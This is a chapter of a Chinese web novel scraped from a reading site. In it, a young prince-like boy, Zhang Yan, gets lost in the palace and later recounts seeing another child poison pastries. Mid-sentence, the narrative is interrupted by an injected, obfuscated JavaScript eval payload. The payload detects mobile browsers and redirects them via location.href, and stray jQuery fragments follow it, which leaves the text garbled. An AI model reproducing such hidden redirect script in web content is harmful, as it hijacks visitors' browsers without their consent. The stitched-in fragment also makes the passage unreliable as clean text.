默认冷灰
24号文字
方正启体

190. 四皇子的故事(三)

作者:柳漆栖本书字数:K更新时间:
    一个偏门又一个偏门的掠过,一层层花木在他的追赶下闪出又闪回,小院,植树、花苑,一片片,一张张,他都充眼不见,一直追着眼前的黑猫不断地前进。


    就这样他一直跟着黑猫,跑啊,跑啊,来到了皇宫内的御花园。


    御花园里的灌木植被众多,三拐两拐之下,那猫就不知道钻到了哪个绿茵下面,一时间,张砚便失去了它的踪迹。


    这个地方,张砚没有来过,他进皇宫的次数并不多,按着张御珩的教诲,他镇北王府所做职责是保家卫国,不可偏私不可站队。


    因此平日里各种官员的大小宴会,张御珩一般能不参加便不参加,这次来皇宫参宴还是因为朝贺者众多,元天皇下旨让张御珩来充充场面,压压那些人的威风,顺便带张砚也来长长见识,这才遇到了这开头之事。


    于是张砚就这样一个小小的人隐藏在大大的院子里,看着那些生长的极其茂密又葱郁的植物一株又一株的出现在自己的面前,欣喜的玩闹了起来。


    起初他还觉得这里的风景极美,有很多花草是他未曾见过的珍贵,因此便多做逗留了片刻,但紧接着他才发现,这里实在是太大了,他走了许久都未曾找到来时的那扇小门,甚至连个人都没。


    渐渐的他便绝望起来。


    “这里是哪里啊?我怎么出不去了?”


    小小的孩子被困在相似的场景中一遍又一遍的绝望,但他没有哭,反而是对眼前的绝望有些懊恼。


    “早知道就不应该贪玩追着那猫跑出来,这要是被父亲发现逮回去,恐怕又是一阵臭骂。”


    他有些无奈的撇了撇嘴,但脚下的步伐却没有停留,仍然在找着这出去的道路。


    “什么这么臭!?”


    但紧接着他便闻到一股腥臭的味道,那味道像是放久了的肉因为太阳和时间的缘故激起了一阵腐烂,然后借着风传了出来。


    他闻着那股味道,渐渐的就走到了御花园的水池旁。


    这才看到,原来在那水池的一旁竟然堆放着好几筐死鱼,而那腥臭的味道就是从那池水和那些死鱼的身上传出来的。


    那是一条条珍贵而又肥大的锦鲤,在眼光的照射下它们的鳞片反射出五光十色的艳丽,但原本应该在池中灵活自由游动的它们,此刻只能瞪着那死鱼眼睛被堆放在不太漂亮的竹筐里,腐烂发臭。


    张砚一时间被这场景唬的有些好奇,他猜想不到,为什么大大的皇宫内院竟然会在水池一旁摆放那么多的死鱼。


    于是便在好奇心的驱使下,他往着那池水边靠着更近了,只是在这夏日的炎热中,越靠近死鱼,那股腥臭而腐烂的味道就越发的潺重,最后甚至浓烈到张砚的整个眼睛都被那死鱼的气息熏蒸的有些发疼。


    最后他实在是有些承受不住,捂着自己的口鼻往旁边紧凑了几步,倒退到了一个上风口这才稍稍缓解了一些。


    水池边,有好几个太监和宫女,正在拿着渔网,不停的打捞着那池中的死鱼。


    张砚听到其中一个太监尖细的嗓音随着泛起的略微清风传来:


    “最近死的鱼怎么越来越多了,这三年来,这堆积的死鱼都快够填满咱这御花园的了,是不是咱这御花园的风水有问题,这鱼挨不住,所以这才一筐一筐的死。”


    只是他的话音刚落下,那一旁的另一个太监似是听到了他的抱怨,立马紧走了两步走到了他的面前尖声说道:


    “小张子,好好干你的活,不该打听的别打听。”


    言辞犀利,眉眼狠煞,一时间将原本就有些劳累和胆怯地张砚唬的又向后倒退了几步。


    若是云莳出现在这里的话,定然会认出来,现在正在训斥那寻常太监的人正是从小陪他到大的温和的张伴伴。


    然而张砚却不认识这些人,他闻到那鱼的味道已然有些承受不助,原本看到人还想要跑过去问上一问这出口在哪,但见着那人如此凶神恶煞的样子,张砚便不敢上前多做询问,只能自顾自的跑走了。


    终于,不知道在这御花园里又走了多久,在他走的满头大汗,又累又渴又饿的时候,他才寻到了一个小门,从那小门钻了出去。


    只是可惜,这门并不是他来时的那扇小门。


    于是,就这样他一个小小的人儿,在这大大的迷宫中来回乱窜。


    风中飘来了一股惹人怜惜而又馋动的香气,厚重绵密混着勾人心魄的甜,一下又一下的砸进张砚的鼻腔和心头。


    香气飘散在空气里,让张砚感觉这味道比自己此前闻到的任何味道都要香甜诱人。


    或许是因为太饿了,那房中的糕点味道太香,他闻着那香气,肚子便开始不争气的叫了起来,口水直在口中打转。


    就这样他便亦步亦趋的跟着那香味走到了御膳房。


    “你猜,在哪里我看到了什么?”张砚反问。


    只是郭幼帧却摇了摇头。


    “看到了什么?”


    “好吃的?”她回答。


    只是张砚却故作神秘,她从一旁的碟碗中取了一块糕点将它掰成了两节,一节放在了自己的口中细细咀嚼着,而另一块却凑到了郭幼帧的唇边。


    郭幼帧被他的故事惹的好奇心大胜,但说到关键处他却又停了下来,见那凑到了口中的糕点,她知道他是有意为之,就这样吊着她,一生气,竟然看着他轻轻笑了一下,装作温柔无害的样子。


    然后在张砚的回应微笑下,张大口一下子就咬着那糕点连带着他拿糕点的那两只手指,也一起咬了下去。


    张砚刚还因为郭幼帧听话的吃了他的糕点而有些欣喜,但在看见那冲着他手而来的血盆大口之后,一时间吓的有些条件反射的缩回了手来。


    只是可惜他缩回手的速度还是太慢,郭幼帧明晃晃的的两个牙印仍然出现在了他的手上。


    “幼帧你……”看到自己手上的牙印,张砚有些恨铁不成钢。


    却见郭幼帧一边笑着,一边捂嘴对他说道:“让你吊我胃口。”


    张砚在听到她这含含糊糊的说话时,只能哑然失笑,又继续讲了下去。


    “我看到了云莳在给糕点下毒。”


    郭幼帧在听后这个消息之后,立刻震惊的瞪大了双眼,口中的糕点因为猛然听到的消息而走差了路,惹得她一阵惊咳。


    “咳咳咳……咳咳咳”


    见自己的恶作剧起效,张砚先是笑了几声,然后立马给郭幼帧递了一碗茶,替她拍拍后背,好一会这才缓了过来。


    “张砚,你……”


    咳的脸色通红的郭幼帧缓过来后,气不打一处来,她抬起茶杯就往张砚的面上泼,只是可惜,张砚似乎早就猜到了她会这样做,一闪身躲了过去。


    两人打闹了一场,好一会才安静下来。


    “好了好了,不闹了,我继续说。”


    张砚笑着按下了郭幼帧还想打过来的手,将她的手拿着往自己的脸颊上凑了一下,一使劲脸往旁边一歪,算作是她真的上前打了他一巴掌。


    “我当时与阿爹走散之后,寻着香气进到了御膳房中,还没进去就看到了云莳正站在一堆精致的高足盘面前,然后在任何人都没有注意到的情况下将一个小瓷瓶从怀中掏了出来,然后将里面的粉末均匀的撒在了糕点之上。”


    “我当时并不知道他撒的是什么东西,只是感觉有些好奇,当时整个御膳房的人忙的脚不沾地,丝毫没有人在乎一个突然出现的皇子在这御膳房里做些什么。”


    而就在张砚还傻愣愣的看着云莳下毒之时,不知不觉间一个人声便在他的身后


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17488187|202111||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    悄然响了起来:“哪里来的毛头小子,怎么钻到我御膳房来了?”


    张砚被这突然出现的声音吓的浑身惊颤,他的心跳因为恐慌蹦跶如鼓,眼泪不自觉便呈了满眼。


    他哆哆嗦嗦的往后转头,这才看到一个大脸盘放着几个小小的五官出现在了自己的面前。


    “小孩,我问你呢,你在这干什么呢?”


    大脸盘上的一张嘴开口说话了,这声音有些粗中带细,但却十分洪亮,像是夏天雷阵雨打雷的隆隆声,吓的张砚又是一哆嗦。


    “我……我……”这隆隆声唬的张砚脑中一片空白。


    他走了那么长时间的路,都没有想哭,却没想到竟然被这大脸盘吓的眼中含泪。


    “哎呦哎呦,你别哭。”


    似是察觉到了眼前的孩子要哭,那大脸盘瞬间自己先慌了,他半蹲下身子,手忙脚乱的在自己的怀里掏着什么,然后在张砚的注视下,一块糖被他掏了出来,递到了他的面前。


    “好孩子,好孩子,你别哭,我给你糖吃还不行吗?”那大脸盘被要哭的孩子吓的连声哄慰,似乎是怕极了眼前的张砚会一个没注意‘哇’的一声大哭起来。


    只是张砚却并没有接过那糖,而他的眼泪也没有落下来。


    他深吸了一口气,这才缓和了一下刚才被惊吓的心情,开口说道:


    “我爹是镇北王张御珩,我刚才跟他进宫的时候走散了。”


    他将自己的身份和来历告知给了眼前的太监。


    那太监听到他这么说之后,瞬间便有些震惊,上下打量了一下张砚,喃喃说:


    “都说镇北王鲜少来参加这种热闹的宴会,没想到今日竟然来了,还带了自己的儿子。”


    他摇摇头,然后对着张砚说:


    “张少爷,您要是信得过咱家的话,咱家将您送到宴席上去如何,您在这后宫乱跑也不是个事儿啊,这后宫阡陌交通,内院多的手都数不出来,您这要是乱跑下去,别说一天了,您就是一个月也找不到路啊。”


    他说着,便伸手想要引着张砚走。


    张砚虽然不知道眼前的人是谁,但见他刚才因为自己要哭而有些手忙脚乱的样子,再加上他直觉这人似乎并没有什么坏心肠,略微思索了一下,只能点了点头,对他行了一礼。


    只是在走前,他还是有些好奇地转头看了一下那御膳房中,他发现此前自己见过的小孩不知何时已经消失了踪迹,里面只剩下了忙碌的人们和腾升的烟火气。


    “阿爹。”


    张砚被人带回到了宴席之上,只一眼就看到了坐立在殿中左侧宴席首位的张御珩。


    他看见人就像是看见了救星,立马扑了上去。


    “张王爷。”


    那带着他的人也走上了前来,向张御珩行了一礼。


    “贵公子刚才无意之间闯到了我这御膳房中,怕他出什么危险,这才将他送了回来。”


    “多谢李公公。”


    张御珩起身对他道了一谢,那李公公回礼,也不做逗留转身便走了。


    见人走远,张御珩这才坐下转头对张砚说:“让你贪玩,还好遇到了李公公,将你送回,要不等会我怕我还要跟陛下请旨去宫里搜你一遍。”


    他有些宠溺的扶了扶张砚的头,恨铁不成钢的说。


    张砚听后撇了撇嘴然后问:“爹,还不是你和吴……”


    他原本想说吴伯伯的,但又想起他们两人现在势成水火的关系,只能将这个称谓咽了下去,然后随口说道:“阿爹,刚才送我回来的公公是谁啊?”


    张御珩随口答:“是掌管御膳房的司厨大太监。”


    “哦。”


    听到这个敷衍的回答,张砚只是简短的回了一句然后便安静的坐在了一旁。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)